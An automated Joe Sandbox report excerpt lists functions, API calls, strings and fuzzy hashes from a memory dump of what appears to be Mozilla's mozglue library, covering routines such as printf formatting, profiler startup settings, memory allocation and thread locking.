map/set<T> too long, xrefs: 6BF7B1FA

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 40b9f188da29f4fbf54ca275ce039f080513ea15458c6d893126d11bdfaa941c
Instruction ID: 014e890bb49ccb1df7d31cc185804091e71e6308d7c68438bd1a1c42c5f90637
Opcode Fuzzy Hash: 40b9f188da29f4fbf54ca275ce039f080513ea15458c6d893126d11bdfaa941c
Instruction Fuzzy Hash: F7617D76A102458FD711DF18D890A5ABBF1FF4A314F18C9EAD8594B362C379EC41CB91

Function 6BF89830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6BF8985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BF8987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6BF898DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6BF898D9

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 0dfd7a29661f6640e34bc97f175184e8b3a74f3198d1a22abe817c2de99c13a8
Instruction ID: d7eff442153872d29d1d0134015e5bd013ec756ce9061869fe12d31e1eb816fa
Opcode Fuzzy Hash: 0dfd7a29661f6640e34bc97f175184e8b3a74f3198d1a22abe817c2de99c13a8
Instruction Fuzzy Hash: E6314972A001095BDB04AF69EC015AF7BB9DF84714F40842DEA0A9B351CB396905CBE1

Function 6BF646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BF64721

Part of subcall function 6BF14410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6BF53EBD,00000017,?,00000000,?,6BF53EBD,?,?,6BF142D2), ref: 6BF14444

Strings

-%llu, xrefs: 6BF64733
., xrefs: 6BF6476A
profiler-paused, xrefs: 6BF646E4

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0c5bc456a9c088fe0793b46dce8dd6e5e64d10298572e1c2e2e0575bf37e8a2e
Instruction ID: 71879e7315ec248ad2f9579fb9c8b56b2cd80f7f236ebd418112351eb5f57473
Opcode Fuzzy Hash: 0c5bc456a9c088fe0793b46dce8dd6e5e64d10298572e1c2e2e0575bf37e8a2e
Instruction Fuzzy Hash: E7311672F042085FCB0CDF7DE89169DBBE6DB89754F14453EE8059B3A1EA7898048750

Function 6BF1F100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6BF8D020), ref: 6BF1F122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6BF1F132

Strings

shell32, xrefs: 6BF1F11D
SHGetKnownFolderPath, xrefs: 6BF1F12C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 448feb7772d7e0cc6f4235a15625c23fb1006ceb550550eebc5b765f1243999d
Instruction ID: 119f3a6c2fa066107e4f9733efc6219325dcbbbce4091f17843b79347f584937
Opcode Fuzzy Hash: 448feb7772d7e0cc6f4235a15625c23fb1006ceb550550eebc5b765f1243999d
Instruction Fuzzy Hash: 5801B172600215DFDB40AF79DC48A5F7BB8FF4A650B000419F849E7221D734E904CBA0

Function 6BF4CBE8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

Strings

<jemalloc>, xrefs: 6BF4CFFC
: (malloc) Error in VirtualFree(), xrefs: 6BF4D001

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2429186680-2186867486
Opcode ID: 50313537f025bf8dde2b681f9f3a45e97660dceb04b49460994b3bfe30bf4aad
Instruction ID: 87c76582a1b666174c00ec8d6ad0646775f27ccaf77faa17a9c99ac97f116538
Opcode Fuzzy Hash: 50313537f025bf8dde2b681f9f3a45e97660dceb04b49460994b3bfe30bf4aad
Instruction Fuzzy Hash: 89B092704243089BDB203BA4980DB193B6DB74AA01F000C28E20182262CBB9E5058E61

Function 6BF22272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BF2237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6BF22B9C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: dc89b596afdc0fe574ba4a214ab49fd4e217b53eb8b9bda4ca9730e401c5faa7
Instruction ID: b32e4364de53871ae6cd24f88554395714bc7b3420918f4c46fbb0abde95eef6
Opcode Fuzzy Hash: dc89b596afdc0fe574ba4a214ab49fd4e217b53eb8b9bda4ca9730e401c5faa7
Instruction Fuzzy Hash: 66E17276A102069FDB08CF98C8D0A5EBBB2FF88314F1581ADE9055B355D776EC85CB90

Function 6BF69120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6BF68242,?,00000000,?,6BF5B63F), ref: 6BF69188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BF68242,?,00000000,?,6BF5B63F), ref: 6BF691BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6BF68242,?,00000000,?,6BF5B63F), ref: 6BF691EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BF68242,?,00000000,?,6BF5B63F), ref: 6BF69200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6BF68242,?,00000000,?,6BF5B63F), ref: 6BF69219

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 4d614425c9919ef04516a1866d26a16e38386040ca892d776ab22c8ab5fe8186
Instruction ID: 8c74c410e901087a3ce2e542243b24b270cea5757a97f6c052faf964ad46f904
Opcode Fuzzy Hash: 4d614425c9919ef04516a1866d26a16e38386040ca892d776ab22c8ab5fe8186
Instruction Fuzzy Hash: 2C312133A006058BEB00CF68DC4876A73E9EF89380F518669D856D7261FF35E919CBA1

Function 6BF50800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF50838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BF5084C
EnterCriticalSection.KERNEL32(?), ref: 6BF508AF
LeaveCriticalSection.KERNEL32(?), ref: 6BF508BD
LeaveCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF508D5

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 9c136e4a981f6d1d7e17512d8346b754025ad1e21a8fdb2be7320296db341e47
Instruction ID: 1592126151abc8b99d7ba9ece44e1b8ed121f14d6d41e229cd88176ac5d32ddb
Opcode Fuzzy Hash: 9c136e4a981f6d1d7e17512d8346b754025ad1e21a8fdb2be7320296db341e47
Instruction Fuzzy Hash: EE21F233A1020A8BEF04EF79D844FEE7379BF54709F400568D509E7261DB7AE8198B91

Function 6BF21720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BF217B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6BF218EE
free.MOZGLUE(?), ref: 6BF21911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF2194C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 2c44e6bf1491c0ba2d239388766109b2df2eb6124b2d5f0998ab70157fe34cdf
Instruction ID: 9c7062abce65a58938949a39af6cdf678d0747e546d48d1011d53ac88618bcc6
Opcode Fuzzy Hash: 2c44e6bf1491c0ba2d239388766109b2df2eb6124b2d5f0998ab70157fe34cdf
Instruction Fuzzy Hash: FB81E672E102159FDB08CFA8D8C59EEBBB1FF89310F04456CE801AB364D7399955CBA5

Function 6BF77170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6BF77250
EnterCriticalSection.KERNEL32(6BF9F688), ref: 6BF77277
__aulldiv.LIBCMT ref: 6BF772C4
LeaveCriticalSection.KERNEL32(6BF9F688), ref: 6BF772F7

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: dba898ec505bc727f734a04e15bb5bd21e697ada520a56dd62112394978b1272
Instruction ID: e2a8afee7ca94dea4e34ddf29f0124abc4b0a8813961d0ac0be2192d28af6984
Opcode Fuzzy Hash: dba898ec505bc727f734a04e15bb5bd21e697ada520a56dd62112394978b1272
Instruction Fuzzy Hash: 06517272E102158FCF48EFA8C8507AEB7B1FB89300F15466AE815A7760C735B94ACB90

Function 6BF5E390 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF5E3E4
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6BF5E4AB

Part of subcall function 6BF25D40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,?,6BF5D2DA,00000001), ref: 6BF25D66

ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5E4F5
GetCurrentThreadId.KERNEL32 ref: 6BF5E577
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5E584
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5E5DE
memset.VCRUNTIME140(?,00000000,00000000), ref: 6BF5E6DA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BF5E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF5E883
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BF5E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6BF5E5A1, 6BF5E5CC, 6BF5E5FF, 6BF5E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BF5E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BF5E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BF5E722, 6BF5E750, 6BF5E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BF5E826, 6BF5E850

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreememset$Xbad_function_call@std@@malloc
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 905598890-53385798
Opcode ID: 13793c383c22635be6f2c70af3d28d9478de67a7234dcbedb05367ee63511232
Instruction ID: 1aef302437d25243e28d4acfd47fd9b99727111cdd7ec8f0bc8db8db9e15a840
Opcode Fuzzy Hash: 13793c383c22635be6f2c70af3d28d9478de67a7234dcbedb05367ee63511232
Instruction Fuzzy Hash: E5419C76A1060ACFDB14DF28C490BAAB7B1FF5A304F00416DE9569B7A1D738F865CB90

Function 6BF6DAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BF6DB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BF6DC0E
free.MOZGLUE(?), ref: 6BF6DC2E
free.MOZGLUE(?), ref: 6BF6DC40

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: 4cbea15dd2f662fbb1220f928769723521a828cacfcde47297e275b1712d3bb4
Instruction ID: 4f42a4a23493507c3b57f0f217742901aca85747584634ab5707721758ea8713
Opcode Fuzzy Hash: 4cbea15dd2f662fbb1220f928769723521a828cacfcde47297e275b1712d3bb4
Instruction Fuzzy Hash: B2416A7A6007018FC714CF35C498B5ABBF6BFC8294F55886DE89A87361EB39E844CB51

Function 6BF777D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF777FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6BF77829

Part of subcall function 6BF4CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6BF131A7), ref: 6BF4CC45
Part of subcall function 6BF4CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6BF131A7), ref: 6BF4CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6BF7789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6BF778CF

Part of subcall function 6BF14DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6BF14E5A
Part of subcall function 6BF14DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6BF14E97

Part of subcall function 6BF14290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BF53EBD,6BF53EBD,00000000), ref: 6BF142A9

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caa2fd9fdbfa54aa1149e63d99ba6539fa02af5703a323bb484b78570007aa33
Instruction ID: 2b2dd4f8993ae2e3e7795cf7c6ffaec0d7285666945ecb3a389107c3fe8bca21
Opcode Fuzzy Hash: caa2fd9fdbfa54aa1149e63d99ba6539fa02af5703a323bb484b78570007aa33
Instruction Fuzzy Hash: 6241C2729147468BD300DF39D48052BFBF4FFCA254F204A6EE4A987261DB34D559CB92

Function 6BF6A2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6BF6A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6BF6A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6BF6A36A

Part of subcall function 6BF35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF35EDB
Part of subcall function 6BF35E90: memset.VCRUNTIME140(6BF77765,000000E5,55CCCCCC), ref: 6BF35F27
Part of subcall function 6BF35E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF35FB2

Part of subcall function 6BF62140: free.MOZGLUE(?,00000060,?,6BF67D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF6215D

free.MOZGLUE(00000000), ref: 6BF6A37C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: 5cc53138db7c294076aec156d2f0f69ce1b7d79e95598eb7bfbbe85c76fc1a0d
Instruction ID: 7eedfd2f79655e5a49e23acfac879a84066fca5482d7165778b3cef74649389f
Opcode Fuzzy Hash: 5cc53138db7c294076aec156d2f0f69ce1b7d79e95598eb7bfbbe85c76fc1a0d
Instruction Fuzzy Hash: 2521D473A002349BDB019F29D841B5EBBE9EF85794F048055ED099B321EB3AED12C7D1

Function 6BF4FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6BF6D019,?,?,?,?,?,00000000,?,6BF5DA31,00100000,?), ref: 6BF4FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6BF6D019,?,?,?,?,?,00000000,?,6BF5DA31,00100000,?,?), ref: 6BF4FFF5
free.MOZGLUE(?,?,?,?,?,6BF6D019,?,?,?,?,?,00000000,?,6BF5DA31,00100000,?), ref: 6BF5001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6BF6D019,?,?,?,?,?,00000000,?,6BF5DA31,00100000,?,?), ref: 6BF5002A

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 3e8a2fe510897b993f1c158feabb788b0e5b5e9876d995974df4af547b0d52ee
Instruction ID: 871ea1fd9328ce0bcd7c254d754758a4b7bdf6c6bf82ae1e42b52e2b9d6ca4e1
Opcode Fuzzy Hash: 3e8a2fe510897b993f1c158feabb788b0e5b5e9876d995974df4af547b0d52ee
Instruction Fuzzy Hash: 382106B3E002125BC7089E7CDC9486FB7B6EAC52343250338E429D7391EB74AD1282E1

Function 6BF35B50 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,6BF356EE,?,00000001), ref: 6BF35B85
EnterCriticalSection.KERNEL32(6BF9F688,?,?,?,6BF356EE,?,00000001), ref: 6BF35B90
LeaveCriticalSection.KERNEL32(6BF9F688,?,?,?,6BF356EE,?,00000001), ref: 6BF35BD8
GetTickCount64.KERNEL32 ref: 6BF35BE4

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$Count64CounterEnterLeavePerformanceQueryTick
String ID:
API String ID: 2796706680-0
Opcode ID: d2085a7ca20e3d4838543ac51618a758d183cc858ea17ee35095fee48016b5ea
Instruction ID: f3597159af9cbdfb5446fe011619606fba0d9c36235a8601eab988325b9ac17b
Opcode Fuzzy Hash: d2085a7ca20e3d4838543ac51618a758d183cc858ea17ee35095fee48016b5ea
